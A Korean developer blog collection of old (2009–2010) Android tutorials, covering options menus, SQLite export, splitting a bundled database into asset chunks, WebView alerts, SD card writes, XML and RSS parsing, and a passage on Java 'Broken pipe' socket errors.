: 일반적으로 잦은 입출력으로 호출로 발생된다. 처리 중인 요청(또는 응답)을 사용자가 기다리지 않고, '새로고침(또는 종료, 연속 클릭 등)' 를 자주 실행하게 되면, 소켓이 끊어져서 발생된다.


: 재요청에 의한 Socket 끊김.. jihwany 
웹브라우저에서 서버에 연결을하면 
accept된 socket을 HttpThread에 넘기고, 
ThreadPool에서 조건에 맞으면 해당 HttpThread를 기동하게 되어 있는데요..
그래서 HttpThread가 완료되기 전까지 다시 재요청을 하지 않으면 아무 문제 없습니다. 
그런데 HttpThread가 완료되전에 재요청을 하면 문제가 되는군요/

이건 첫번째 요청때 생성된 Socket의 자원을 HttpThread.run()에서 사용하려고 하는 중에, 두번째 요청이 들어오니까 첫번째 요청의 Socket이 끊어져 버리기때문에 생기는 문제 입니다

:위 Broken pipe는 WAS서버에서 결과를 사용자PC로 보내는 과정에서 발생한 것입니다.
앞단에 웹서버가 있다면 WAS에서 웹서버로 보내는 과정에서 일어난 것이구요, 만약 웹서버 없이
WAS(웹로직)이 직접 서비스를 하고 있다면 WAS(웹로직)이 사용자PC에게 보낼 때 발생하는
것이구요.


- java.io.IOException: Broken pipe
  원인: receiver에서 송신받은 데이터를 제때 처리하지 못하는 상황(네트워크가 느리거나 서버의 CPU가 max인 경우 등)에서 sender가 계속 보내는 경우

Broken Pipe의 경우 클라이언트는 계속 해서 데이터를 보내는 것이 아니라 하나의 레코드를 보낸 다음 서버에서 정상적으로 수신했다는 신호를 받고 다시 보내는 형태로 구현하면 된다. 속도가 좀 떨어진다는 단점이....

Posted by 1010
04.Anddoid2010. 5. 11. 13:52
반응형


출처 : http://www.androidside.com/bbs/board.php?bo_table=B46&wr_id=8966




res 폴더에 menu라는 폴더를 생성하고 xml 파일을 생성합니다.
예 ) menu.xml

<?xml version="1.0" encoding="utf-8"?>
<menu
  xmlns:android="http://schemas.android.com/apk/res/android">
  <item android:id="@+id/menu1"
        android:title="1번 메뉴"/>
    <item android:id="@+id/menu2"
        android:title="2번 메뉴"/>
    <item android:id="@+id/menu3"
        android:title="3번 메뉴"/>
     <item android:id="@+id/menu4"
        android:title="4번 메뉴"/>
</menu>


그다음 java파일에 onCreateOptionsMenu메소드를 생성하여 menu를 Override 해 줍니다.



 private Menu mMenu;

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
     mMenu = menu;        

        MenuInflater inflater = getMenuInflater();
         inflater.inflate(R.menu.menu, mMenu);

        menu.getItem(0).setIcon(R.drawable.icon); //icon 이미지 넣기

        menu.getItem(1).setTitle("메뉴이름 변환"); //title 변환하기

               return true;
   }

마지막으로 메뉴를 선택하였을때 이벤트를 주기위해 onOptionsItemSelected메소드를 Override 합니다.

public boolean onOptionsItemSelected(MenuItem item) {

        switch (item.getItemId()) {

        case R.id.menu1: //위에 xml에서 만든 메뉴에서 1번 메뉴 버튼이 눌러졌을때
          break;

         case R.id.menu2: //위에 xml에서 만든 메뉴에서 2번 메뉴 버튼이 눌러졌을때
          break;

         case R.id.menu3: //위에 xml에서 만든 메뉴에서 3번 메뉴 버튼이 눌러졌을때
          break;

         case R.id.menu4: //위에 xml에서 만든 메뉴에서 4번 메뉴 버튼이 눌러졌을때
          break;
        }

        return true;
     }


위와 같은 방법으로 menu를 생성해서 사용하 실 수 있습니다.


다른 방법으로는

@Override
    public boolean onCreateOptionsMenu(android.view.Menu menu) {

     super.onCreateOptionsMenu(menu);
     
     menu.add("menu1");
     menu.add("menu1");
     menu.add("menu1");
     menu.add("menu1");    

     return true;
    }

public boolean onOptionsItemSelected(MenuItem item) {

     if (item.getTitle().toString()== "menu1"){
      }
     
     else if (item.getTitle().toString()== "menu2"){
     }

     else if (item.getTitle().toString()== "menu3"){
      }

    else if (item.getTitle().toString()== "menu4"){
     }

     
     return true;
    }

위와 같은 방법으로 menu에 바로 추가하여 xml 파일을 이용하지 않고 사용할수 있습니다.

편하시는 방법을 사용하시면 됩니다.


안드로이드 공부에 도움이 되셨으면 좋겠습니다^^^

Posted by 1010
04.Anddoid2010. 5. 11. 09:32
반응형
[블로그 링크] http://onjo.tistory.com/2052


안드로이드에서 db(sqlite) 정보를
쉽게 보는 방법을 정리해 보았습니다.

(초보자를 위한 팁 이라고 생각합니다.)



핵심만 정리하면 아래와 같습니다.

(1) db 내보내기 (db export / data.sqlite)
=> 이클립스 혹은 Droid Explorer 이용


(2) db 보기
=> firefox 확장 도구인 SQLite Manager를 이용하여
    (1) 에서 추출한 db(data.sqlite)를 열면 됩니다.

    * mysql에서 mysqlyog를 사용하는 것과 비슷한 개념

================================================

안드로이드에서 db(sqlite) 쉽게 보기


1. Run Eclipse (이클립스 실행)


2. Select Project (프로젝트 선택)
   -> Run Android Emulator (안드로이드 에뮬레이터 실행)


3. Select "DDMS perspective" (DDMS 선택)
   -> File Explorer
   -> data - data - package name (패키지명)
      - databases - data 선택




4. select "pull a file from the device" (pull 선택)
   -> save the "data.sqlite" (db export / db 내보내기)


======================================================

5. View DB (DB 내용 보기)
  1) Firefox :: SQLite Manager
     http://code.google.com/p/sqlite-manager/

      => firefox browser, click the *.xpi (firefox에서 xpi 클릭하면 설치됨)
 

  2) click the "Connect Database" (DB 연결 버튼 클릭)


======================================================
※ Eclipse the not view "File Explorer"
(이클립스에서 File Explorer가 내용이 안보일 경우)

=> Droid Explorer 이용해 db export
- Droid Explorer : http://de.codeplex.com/



6. Conclusion (정리)
  1) db export (db 내보내기)
     - eclipse DDMS 혹은 Droid Explorer

  2) view db (db 보기)
Posted by 1010
반응형
파일 인코딩 일괄 변경 프로그램
Posted by 1010
04.Anddoid2010. 5. 4. 15:01
반응형
컨버전스님과 볼레노 님의 글을 바탕으로 몇일 삽질 좀 했습니다.   ( 두분 감사 드려요 )

K-1.png

일단 결과 화면 입니다. 노래 sdcard안에 몇곡 넣었구요
K-2.png

리스트 형식으로 정리 하도록 했습니다.

소스는 여기 >>>  Music Player.zip 

안에 보면 MusicUtils.java 파일은 오픈소스 music 안에서 이리저리 필요하거만 뽑아서 놨습니다.
저도 뭐가 뭔지는 모르겠구요.. mp3파일 안에서 사진 파일만 가져 올 수 있습니다. 그냥 파일 통채로 쓰시면 될꺼 같아요

그냥 main.java 안에서 보시고 필요한 함수만 뽑아서 쓰시면 될꺼 같아요

위에 tellme 노래는 mp3파일 안에 사진도 없고 가수이름도 없어서 그렇습니다.
저거는 그냥 파일이름 뜨도록 해주면 되겠죠..

 볼레노님 글 읽고 글씨는 뽑아와도 앨범 사진을 못뽑아와서 고생했는데 성공해서 기쁘네요 ;; ㅎ


출처 : http://www.androidpub.com/?mid=android_dev_info&category=108970&page=2&document_srl=91099
Posted by 1010
04.Anddoid2010. 5. 4. 14:41
반응형
상용
aiCharts
http://www.artfulbits.com/Android/aiCharts.aspx
상용 차트입니다.
갤러리 - http://www.artfulbits.com/Android/gallery/galleryCharts.aspx
우크라이나 회사 같습니다. 미국에서도 영업합니다.
온라인 결재 299달러 시작

오픈소스
achartengine
http://code.google.com/p/achartengine/
현재도 계속 개발중입니다.
종류
line chart
area chart
scatter chart
time chart
bar chart
pie chart
bubble chart
doughnut chart

chartdroid
http://code.google.com/p/chartdroid/
현재도 계속 개발중입니다.

androidchart
http://code.google.com/p/androidchart/
주식형 차트인데 2008년 이후로 업데이트 되지 않습니다.

http://shaffah.com/droid-analytic-google-analytics-for-android
이런 비슷한 오픈 소스 프로그램이 있나 해서 찾다가 본건데
개발자가 아니어서 사용성까지는 잘 모르겠습니다.


출처 : http://www.androidpub.com/?mid=android_dev_info&category=108970&page=2&document_srl=175571
Posted by 1010
04.Anddoid2010. 5. 4. 14:37
반응형
가끔 앱배포시에 DB파일을 함께 배포하는 방법을 문의하는 분들이 계셔서
제가 가지고 있는 정보를 공유하려고 합니다.
E-Book같은 것을 만들게 되면 DB도 함께 배포해야 합니다.

DB파일을 배포하는 방법에는 여러가지가 있겠지만(http://www.androidpub.com/7629 회색님 댓글 참조)
제가 공유하는 방법은 apk파일속에 넣어서 배포하는 방법입니다.

순서
1. 1MB가 넘는 DB파일은 900KB씩 잘라서 assets 폴더에 넣는다.
   (assets 폴더에 1MB이상 되는 파일을 넣고 읽으려면 에러가 발생합니다.)
2. 어플이 맨처음 실행될때 assets 폴더에 있는 DB파일을 순서대로 읽어서
   /data/data/패키지명/databases/DB파일명.db 로 하나의 DB파일을 만든다.

먼저 DB파일을 900KB씩 자르는 소스는

01.FileInputStream fis = new FileInputStream("경로/DB파일명.db");
02.BufferedInputStream bis  = new BufferedInputStream(fis);
03.          
04.FileOutputStream fos = fos = new FileOutputStream("경로/잘라진 DB파일명1.db");;
05.BufferedOutputStream bos = bos = new BufferedOutputStream(fos);;
06.          
07.byte[] b = new byte[1024];
08.int read = -1;
09.int count = 1;
10.int count2 = 1;
11.          
12.while((read = bis.read(b, 0, 1024)) != -1)
13.{            
14.    bos.write(b, 0, read);
15.    bos.flush();
16.              
17.    if(count2 % 900 == 0)
18.    {
19.        count++;
20.                  
21.        if(fos != null) fos.close();
22.        if(bos != null) bos.close();
23.                  
24.        fos = new FileOutputStream("경로/잘라진 DB파일명" + count + ".db");
25.        bos = new BufferedOutputStream(fos);
26.    }
27.              
28.    count2++;
29.}
30.          
31.fis.close();
32.bis.close();
33.if(fos != null) fos.close();
34.if(bos != null) bos.close();

위와 같이 900KB씩 자른 DB파일을 assets 폴더에 넣습니다.
그리고 어플이 맨처음 실행될때 아래와 같이 /data/data/패키지명/databases/생성될 DB명.db 로 만들어줍니다.

01.if(어플이 맨처음 실행이면)
02.{
03.    AssetManager am = null;
04.    InputStream[] arrIs = new InputStream[5]; // assets 폴더에 있는 DB파일 갯수 5개
05.    BufferedInputStream[] arrBis = new BufferedInputStream[5]; // assets 폴더에 있는 DB파일 갯수 5개
06.          
07.    FileOutputStream fos = null;    
08.    BufferedOutputStream bos = null;
09.          
10.    try
11.    {
12.        File f = new File("/data/data/패키지명/databases/생성될 DB명.db");
13.            
14.        // 혹시나 DB가 있으면 지우고 0바이트의 DB파일을 새로 만든다.
15.        if(f.exists())
16.        {
17.            f.delete();
18.            f.createNewFile();
19.        }
20.              
21.        am = this.getResources().getAssets();
22.             
23.        for(int i = 0; i < arrIs.length; i++)
24.        {
25.            arrIs[i] = am.open("assets 폴더에 있는 DB명" + (i + 1) + ".db");
26.            arrBis[i] = new BufferedInputStream(arrIs[i]);
27.        }
28.              
29.        fos = new FileOutputStream(f);
30.        bos = new BufferedOutputStream(fos);
31.              
32.        int read = -1;
33.        byte[] buffer = new byte[1024];
34.              
35.        for(int i = 0; i < arrIs.length; i++)
36.        {
37.            while((read = arrBis[i].read(buffer, 0, 1024)) != -1)
38.            {
39.                bos.write(buffer, 0, read);
40.            }
41.                  
42.            bos.flush();
43.        }
44.    }
45.    catch(Exception e){}
46.    finally
47.    {
48.        for(int i = 0; i < arrIs.length; i++)
49.        {
50.            try{if(arrIs[i] != null) arrIs[i].close();}catch(Exception e){}
51.            try{if(arrBis[i] != null) arrBis[i].close();}catch(Exception e){}
52.        }
53.              
54.        try{if(fos != null) fos.close();}catch(Exception e){}
55.        try{if(bos != null) bos.close();}catch(Exception e){}
56.              
57.        arrIs = null;
58.        arrBis = null;
59.    }
60.}

이상입니다.
그리고 assets 폴더에 있는 파일을 삭제하려고
여기저기 알아봤는데 결국에는 못찾았습니다.
불가능하다는 답변만......
불가능하지 않은 방법을 아시는 분은 말씀해주시면 감사드리겠습니다.

약 1년전쯤 SDK 1.0에서 만든 소스인데 2.0에서도 잘 돌아가고
모토로이에서도 잘 돌아가네요..^^


출처 : http://www.androidpub.com/?mid=android_dev_info&category=108970&document_srl=191797
Posted by 1010
04.Anddoid2010. 5. 4. 14:35
반응형
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com"));
startActivity(intent);



하지만 문제가 좀 있는듯한데...
Posted by 1010
04.Anddoid2010. 5. 4. 14:18
반응형

As promised earlier, here is an example of how to add support for alert() function to a WebView in your Android application:

  1.  
  2. final WebView browser = (WebView)findViewById(R.id.browser);  
  3. /* JavaScript must be enabled if you want it to work, obviously */ 
  4. browser.getSettings().setJavaScriptEnabled(true);  
  5.  
  6. final Context myApp = this;  
  7.  
  8. /* WebChromeClient must be set BEFORE calling loadUrl! */ 
  9. browser.setWebChromeClient(new WebChromeClient() {  
  10.     @Override 
  11.     public boolean onJsAlert(WebView view, String url, String message, final android.webkit.JsResult result)  
  12.     {  
  13.         new AlertDialog.Builder(myApp)  
  14.             .setTitle("javaScript dialog")  
  15.             .setMessage(message)  
  16.             .setPositiveButton(android.R.string.ok,  
  17.                     new AlertDialog.OnClickListener()  
  18.                     {  
  19.                         public void onClick(DialogInterface dialog, int which)  
  20.                         {  
  21.                             result.confirm();  
  22.                         }  
  23.                     })  
  24.             .setCancelable(false)  
  25.             .create()  
  26.             .show();  
  27.  
  28.         return true;  
  29.     };  
  30. });  
  31.  
  32. /* load a web page which uses the alert() function */ 
  33. browser.loadUrl("http://lexandera.com/files/jsexamples/alert.html");  

Code for adding support for confirm() and prompt() is almost identical and can be found in Mosembro’s source code.


출처 : http://lexandera.com/2009/01/adding-alert-support-to-a-webview/

Posted by 1010
04.Anddoid2010. 5. 4. 14:13
반응형
java Source

 package lowmans.MySdcardWriteTest;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class MySdcardWriteTest extends Activity {
	
	final String tag = "MySdcardWriteTest";
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        String path ="/sdcard/";
        File file = new File(path+"myTest.txt");
        try{
        	FileOutputStream fos = new FileOutputStream(file);
        	fos.write("this is test~!!\nThis Is Test~!!".getBytes());
        	fos.close();
        }catch(IOException e){
        	Log.i(tag , e.getMessage());
        }
    }
}

androidManifest.xml 에 use-permission 추가

 <?xml version="1.0" encoding="utf-8"?>
<manifest package="lowmans.MySdcardWriteTest"
      android:versionCode="1"
      android:versionName="1.0" xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:icon="@drawable/icon" android:label="@string/app_name"
    >
        <activity android:name=".MySdcardWriteTest"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-sdk android:minSdkVersion="4" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
	
</manifest> 


출처 : http://www.androidpub.com/?mid=android_dev_info&category=108970&document_srl=253486
Posted by 1010
04.Anddoid2010. 5. 4. 14:11
반응형

Using color in Android, by Java code

In last article, Using color in Android, by XML, described how to define color in XML file. Here, changing color using Java code will be described.



Keep using the main.xml and mycolor.xml

Modify Java code

package com.exercise.AndroidColor;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.LinearLayout;

public class AndroidColor extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

final LinearLayout backGround = (LinearLayout)findViewById(R.id.background);
Button whiteButton = (Button)findViewById(R.id.whitebutton);
Button redButton = (Button)findViewById(R.id.redbutton);
Button greenButton = (Button)findViewById(R.id.greenbutton);
Button blueButton = (Button)findViewById(R.id.bluebutton);

whiteButton.setOnClickListener(new Button.OnClickListener(){
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
backGround.setBackgroundResource(android.R.color.white);
}});

redButton.setOnClickListener(new Button.OnClickListener(){
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
backGround.setBackgroundColor(0xff000000 + 0xff0000);
}});

greenButton.setOnClickListener(new Button.OnClickListener(){
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
backGround.setBackgroundResource(R.color.green);
}});

blueButton.setOnClickListener(new Button.OnClickListener(){
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
backGround.setBackgroundResource(R.color.blue);
}});
}
}


Download the files.


출처 : http://android-er.blogspot.com/
Posted by 1010
04.Anddoid2010. 5. 4. 14:10
반응형

Generate random number in Android

To generate random number in Android, class java.util.Random can be used.

This class java.util.Random provides methods that generates pseudo-random numbers of different types, such as int, long, double, and float.

It support two public constructor:
Random() - Construct a random generator with the current time of day in milliseconds as the initial state.
Random(long seed) - Construct a random generator with the given seed as the initial state.

Generate random number in Android

main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="Generate Random number"
android:id="@+id/generate"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/generatenumber"
/>
</LinearLayout>


AndroidRandom.java
package com.exercise.AndroidRandom;

import java.util.Random;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;

public class AndroidRandom extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

final Random myRandom = new Random();

Button buttonGenerate = (Button)findViewById(R.id.generate);
final TextView textGenerateNumber = (TextView)findViewById(R.id.generatenumber);

buttonGenerate.setOnClickListener(new OnClickListener(){

@Override
public void onClick(View v) {
// TODO Auto-generated method stub
textGenerateNumber.setText(String.valueOf(myRandom.nextInt()));
}});
}
}
Posted by 1010
04.Anddoid2010. 5. 4. 14:09
반응형

Read XML Resources in Android, using XmlResourceParser: XML parsing interface

XmlResourceParser is the XML parsing interface returned for an XML resource. This is a standard XmlPullParser interface, as well as an extended AttributeSet interface and an additional close() method on this interface for the client to indicate when it is done reading the resource.

In this exercise, we read our own XML Resource (in /res/xml folder) using XmlResourceParser, and display the contents on screen.



First of all, create a folder /res/xml, and our own XML file myxml.xml

<?xml version="1.0" encoding="utf-8"?>
<rootelement1>
<subelement>
Hello XML Sub-Element 1
</subelement>
<subelement>
Hello XML Sub-Element 2
<subsubelement>Sub Sub Element</subsubelement>
</subelement>
</rootelement1>


Modify main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/my_xml"
/>
</LinearLayout>


Finally, modify java code
package com.exercise.AndroidXmlResource;

import java.io.IOException;

import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;

import android.app.Activity;
import android.content.res.Resources;
import android.content.res.XmlResourceParser;
import android.os.Bundle;
import android.widget.TextView;

public class AndroidXmlResource extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

TextView myXmlContent = (TextView)findViewById(R.id.my_xml);
String stringXmlContent;
try {
stringXmlContent = getEventsFromAnXML(this);
myXmlContent.setText(stringXmlContent);
} catch (XmlPullParserException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}

private String getEventsFromAnXML(Activity activity)
throws XmlPullParserException, IOException
{
StringBuffer stringBuffer = new StringBuffer();
Resources res = activity.getResources();
XmlResourceParser xpp = res.getXml(R.xml.myxml);
xpp.next();
int eventType = xpp.getEventType();
while (eventType != XmlPullParser.END_DOCUMENT)
{
if(eventType == XmlPullParser.START_DOCUMENT)
{
stringBuffer.append("--- Start XML ---");
}
else if(eventType == XmlPullParser.START_TAG)
{
stringBuffer.append("\nSTART_TAG: "+xpp.getName());
}
else if(eventType == XmlPullParser.END_TAG)
{
stringBuffer.append("\nEND_TAG: "+xpp.getName());
}
else if(eventType == XmlPullParser.TEXT)
{
stringBuffer.append("\nTEXT: "+xpp.getText());
}
eventType = xpp.next();
}
stringBuffer.append("\n--- End XML ---");
return stringBuffer.toString();
}
}


Download the files.
Posted by 1010
04.Anddoid2010. 5. 4. 14:09
반응형

A simple RSS reader, using Android's org.xml.sax package.

In the last article, "Read XML Resources in Android, using XmlResourceParser: XML parsing interface", Android application read XML resource inside application. In the current article, a external XML will be read using Android SAX APIs.

The source of XML is "http://feeds.feedburner.com/Android-er?format=xml", which is RSS feed of my blog.

SAX is the Simple API for XML, originally a Java-only API. SAX was the first widely adopted API for XML in Java, and is a “de facto” standard. The current version is SAX 2.0.1, and there are versions for several programming language environments other than Java.

org.xml.sax is a Android's package provides the core SAX APIs.

In order to make it simple, only the contents under "title" tag will be retrieved and appended as a string.



To allow the Android application, "android.permission.INTERNET" have to be granted to the application. Modify AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.exercise.AndroidRssReader"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".AndroidRssReader"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

</application>
<uses-sdk android:minSdkVersion="4" />
<uses-permission android:name="android.permission.INTERNET" />
</manifest>


Modify main.xml to add a TextView to display the result.
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello" />
<ScrollView
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/result" />
</ScrollView>
</LinearLayout>


Java source code.
package com.exercise.AndroidRssReader;

import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;

import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class AndroidRssReader extends Activity {

String streamTitle = "";

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

TextView result = (TextView)findViewById(R.id.result);

try {
URL rssUrl = new URL("http://feeds.feedburner.com/Android-er?format=xml");
SAXParserFactory mySAXParserFactory = SAXParserFactory.newInstance();
SAXParser mySAXParser = mySAXParserFactory.newSAXParser();
XMLReader myXMLReader = mySAXParser.getXMLReader();
RSSHandler myRSSHandler = new RSSHandler();
myXMLReader.setContentHandler(myRSSHandler);
InputSource myInputSource = new InputSource(rssUrl.openStream());
myXMLReader.parse(myInputSource);

result.setText(streamTitle);

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
result.setText("Cannot connect RSS!");
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
result.setText("Cannot connect RSS!");
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
result.setText("Cannot connect RSS!");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
result.setText("Cannot connect RSS!");
}


}

private class RSSHandler extends DefaultHandler
{
final int stateUnknown = 0;
final int stateTitle = 1;
int state = stateUnknown;

int numberOfTitle = 0;
String strTitle = "";
String strElement = "";

@Override
public void startDocument() throws SAXException {
// TODO Auto-generated method stub
strTitle = "--- Start Document ---\n";
}

@Override
public void endDocument() throws SAXException {
// TODO Auto-generated method stub
strTitle += "--- End Document ---";
streamTitle = "Number Of Title: " + String.valueOf(numberOfTitle) + "\n"
+ strTitle;
}

@Override
public void startElement(String uri, String localName, String qName,
Attributes attributes) throws SAXException {
// TODO Auto-generated method stub
if (localName.equalsIgnoreCase("title"))
{
state = stateTitle;
strElement = "Title: ";
numberOfTitle++;
}
else
{
state = stateUnknown;
}
}

@Override
public void endElement(String uri, String localName, String qName)
throws SAXException {
// TODO Auto-generated method stub
if (localName.equalsIgnoreCase("title"))
{
strTitle += strElement + "\n";
}
state = stateUnknown;
}

@Override
public void characters(char[] ch, int start, int length)
throws SAXException {
// TODO Auto-generated method stub
String strCharacters = new String(ch, start, length);
if (state == stateTitle)
{
strElement += strCharacters;
}
}

}
}


Download the files.
Posted by 1010
04.Anddoid2010. 5. 4. 14:08
반응형

A simple RSS reader, in ListView

In the last exercise, "A simple RSS reader, using Android's org.xml.sax package", the RSS's titles are displayed as a single String. For sure it's not a good presentation in this way.

In this article, it will be modified to display it in ListView.



AndroidManifest.xml to grant "android.permission.INTERNET" to the application. (Refer to last article "A simple RSS reader, using Android's org.xml.sax package")

In order to use ListView, create a new file, /res/layout/rsslist.xml

<?xml version="1.0" encoding="utf-8"?>
<TextView
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/rowtext"
android:layout_width="fill_parent"
android:layout_height="25px"
android:textSize="10sp" />


Modify main.xml to have a ListView
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello" />
<ListView
android:id="@android:id/list"
android:layout_width="fill_parent"
android:layout_height="wrap_content" />
<TextView
android:id="@android:id/empty"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="No Data" />
</LinearLayout>


Modify AndroidRssReder.java
package com.exercise.AndroidRssReader;

import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;

import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;

import android.app.ListActivity;
import android.os.Bundle;
import android.widget.ArrayAdapter;

public class AndroidRssReader extends ListActivity {

private List<String> item = new ArrayList<String>();

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

try {
URL rssUrl = new URL("http://feeds.feedburner.com/Android-er?format=xml");
SAXParserFactory mySAXParserFactory = SAXParserFactory.newInstance();
SAXParser mySAXParser = mySAXParserFactory.newSAXParser();
XMLReader myXMLReader = mySAXParser.getXMLReader();
RSSHandler myRSSHandler = new RSSHandler();
myXMLReader.setContentHandler(myRSSHandler);
InputSource myInputSource = new InputSource(rssUrl.openStream());
myXMLReader.parse(myInputSource);

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

ArrayAdapter<String> itemList = new ArrayAdapter<String>(this, R.layout.rsslist, item);
setListAdapter(itemList);
}

private class RSSHandler extends DefaultHandler
{
final int stateUnknown = 0;
final int stateTitle = 1;
int state = stateUnknown;

@Override
public void startDocument() throws SAXException {
// TODO Auto-generated method stub
}

@Override
public void endDocument() throws SAXException {
// TODO Auto-generated method stub
}

@Override
public void startElement(String uri, String localName, String qName,
Attributes attributes) throws SAXException {
// TODO Auto-generated method stub
if (localName.equalsIgnoreCase("title"))
{
state = stateTitle;
}
else
{
state = stateUnknown;
}
}

@Override
public void endElement(String uri, String localName, String qName)
throws SAXException {
// TODO Auto-generated method stub
state = stateUnknown;
}

@Override
public void characters(char[] ch, int start, int length)
throws SAXException {
// TODO Auto-generated method stub
String strCharacters = new String(ch, start, length);
if (state == stateTitle)
{
item.add(strCharacters);

}
}

}
}


Download the files.
Posted by 1010
04.Anddoid2010. 5. 4. 14:07
반응형

Tuesday, September 29, 2009

Android AnalogClock

It's very easy to add a Analog Clock in Android, Just add the code of AnalogClock in main.xml.



AnalogClock is a widget to display an analogic clock with two hands for hours and minutes.

main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<AnalogClock
android:id="@+id/myAnalogClock"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>


</LinearLayout>
Posted by 1010
04.Anddoid2010. 5. 4. 14:07
반응형

Sunday, September 6, 2009

Read Android system info., using System.getProperty

It's another exercise to read Android system information, using system provided method getProperty.



Create a new Android Application, with the Activity named AndroidSYSinfoActivity. Modify the main.xml and AndroidSYSinfoActivity.java:
main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:gravity="center_horizontal"
android:text="android-er.blogspot.com"
android:autoLink="web"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="Android System:"
/>
<TextView
android:id="@+id/SYSinfo"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
